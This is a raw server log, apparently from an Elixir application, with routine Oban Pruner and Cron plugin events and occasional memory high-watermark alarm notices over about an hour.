{"source":"oban","duration":2582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:34.911 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.032 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:40:04.913 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:34.915 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.033 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:41:04.917 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:34.919 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.035 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:42:04.923 [info] {"source":"oban","duration":3477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:34.925 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.038 [info] {"source":"oban","duration":2043,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:43:04.927 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:34.930 [info] {"source":"oban","duration":1833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.041 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:44:04.932 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:28.590 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 12:44:34.943 [info] {"source":"oban","duration":9679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.042 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:45:04.945 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:34.949 [info] {"source":"oban","duration":2741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.045 [info] {"source":"oban","duration":3206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:46:04.952 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:34.954 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.046 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:47:04.956 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:28.607 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 12:47:34.958 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.052 [info] {"source":"oban","duration":4496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:48:04.960 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:28.613 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 12:48:34.962 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.057 [info] {"source":"oban","duration":3550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:49:04.964 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:34.968 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.062 [info] {"source":"oban","duration":3783,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:50:04.970 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:34.972 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.069 [info] {"source":"oban","duration":5267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:51:04.974 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:34.976 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.070 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:52:04.979 [info] {"source":"oban","duration":1989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:34.983 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.079 [info] {"source":"oban","duration":6738,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:53:04.985 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:34.988 [info] {"source":"oban","duration":2161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.088 [info] {"source":"oban","duration":8406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:54:04.990 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:34.992 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.093 [info] {"source":"oban","duration":2658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:55:04.995 [info] {"source":"oban","duration":2512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:34.997 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.094 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:56:04.999 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:35.003 [info] {"source":"oban","duration":3544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.110 [info] {"source":"oban","duration":13619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:57:05.006 [info] {"source":"oban","duration":2456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:35.011 [info] {"source":"oban","duration":2471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.123 [info] {"source":"oban","duration":11091,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:58:05.014 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:35.015 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.125 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:59:05.019 [info] {"source":"oban","duration":3116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:35.024 [info] {"source":"oban","duration":3528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.127 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:00:05.029 [info] {"source":"oban","duration":2593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:35.032 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.145 [info] {"source":"oban","duration":15993,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:01:05.036 [info] {"source":"oban","duration":2472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:35.042 [info] {"source":"oban","duration":5060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.152 [info] {"source":"oban","duration":5889,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:02:05.056 [info] {"source":"oban","duration":12824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:35.059 [info] {"source":"oban","duration":2318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.157 [info] {"source":"oban","duration":3343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:03:05.061 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:35.063 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.160 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:04:05.065 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:35.067 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.160 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:05:05.071 [info] {"source":"oban","duration":2373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:28.778 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:05:35.073 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.166 [info] {"source":"oban","duration":4878,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:06:05.076 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:35.078 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.173 [info] {"source":"oban","duration":4003,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:07:05.083 [info] {"source":"oban","duration":3887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:35.085 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.177 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:08:05.089 [info] {"source":"oban","duration":2986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:28.805 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 13:08:35.092 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.183 [info] {"source":"oban","duration":3829,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:09:05.095 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:35.098 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.186 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:10:05.100 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:35.104 [info] {"source":"oban","duration":3206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.190 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:11:05.106 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:35.109 [info] {"source":"oban","duration":2415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.196 [info] {"source":"oban","duration":4822,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:12:05.113 [info] {"source":"oban","duration":2828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:35.116 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.221 [info] {"source":"oban","duration":23730,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:13:05.119 [info] {"source":"oban","duration":2091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:28.841 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:13:35.124 [info] {"source":"oban","duration":3450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.222 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:14:05.128 [info] {"source":"oban","duration":3580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:35.134 [info] {"source":"oban","duration":5580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.224 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:05.136 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:35.139 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.233 [info] {"source":"oban","duration":2394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:05.141 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:28.863 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 13:16:35.151 [info] {"source":"oban","duration":8542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.253 [info] {"source":"oban","duration":7936,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:05.155 [info] {"source":"oban","duration":2651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:28.869 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:17:35.157 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.261 [info] {"source":"oban","duration":3981,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:05.160 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:28.878 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 13:18:35.163 [info] {"source":"oban","duration":1827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.262 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:05.166 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:28.885 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:19:35.171 [info] {"source":"oban","duration":4011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.266 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:05.175 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:35.178 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.268 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:05.181 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:35.183 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.287 [info] {"source":"oban","duration":17096,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:05.185 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:35.187 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.291 [info] {"source":"oban","duration":2347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:05.189 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:35.192 [info] {"source":"oban","duration":1951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.294 [info] {"source":"oban","duration":2194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:05.194 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:35.196 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.297 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:05.200 [info] {"source":"oban","duration":3059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:35.202 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.305 [info] {"source":"oban","duration":5377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:05.204 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:35.206 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.308 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:05.208 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:35.210 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.311 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:05.212 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:35.214 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.317 [info] {"source":"oban","duration":4670,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:05.216 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:35.218 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.320 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:05.221 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:28.933 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 13:30:35.223 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.322 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:05.229 [info] {"source":"oban","duration":5184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:35.234 [info] {"source":"oban","duration":4321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.325 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:05.240 [info] {"source":"oban","duration":4815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:35.244 [info] {"source":"oban","duration":2705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.327 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:05.247 [info] {"source":"oban","duration":2318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:28.983 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:33:35.249 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.331 [info] {"source":"oban","duration":3213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:05.252 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:35.254 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.337 [info] {"source":"oban","duration":5527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:05.256 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:35.258 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.340 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:05.260 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:35.262 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.341 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:05.264 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:35.268 [info] {"source":"oban","duration":3563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.347 [info] {"source":"oban","duration":4083,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:05.271 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:35.273 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.357 [info] {"source":"oban","duration":7662,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:05.275 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:35.277 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.373 [info] {"source":"oban","duration":13713,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:05.279 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:29.029 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 13:40:35.287 [info] {"source":"oban","duration":6477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.386 [info] {"source":"oban","duration":4842,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:05.289 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:35.291 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.403 [info] {"source":"oban","duration":13419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:05.296 [info] {"source":"oban","duration":4156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:35.298 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.406 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:05.300 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:35.309 [info] {"source":"oban","duration":8089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.409 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:05.311 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:29.048 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:44:35.313 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.412 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:05.315 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:35.319 [info] {"source":"oban","duration":3176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.418 [info] {"source":"oban","duration":3711,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:05.331 [info] {"source":"oban","duration":9832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:35.335 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.441 [info] {"source":"oban","duration":22444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:05.337 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:35.339 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.446 [info] {"source":"oban","duration":3877,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:05.341 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:29.072 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 13:48:35.343 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.448 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:05.345 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:35.547 [info] {"source":"oban","duration":201493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 13:50:00.450 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:05.644 [info] {"source":"oban","duration":96605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:35.649 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.454 [info] {"source":"oban","duration":2933,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:05.690 [info] {"source":"oban","duration":40853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 13:51:35.692 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.455 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:05.695 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:29.087 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 13:52:35.697 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.460 [info] {"source":"oban","duration":3457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:05.701 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:35.717 [info] {"source":"oban","duration":15026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.463 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:05.728 [info] {"source":"oban","duration":9002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:35.730 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.465 [info] 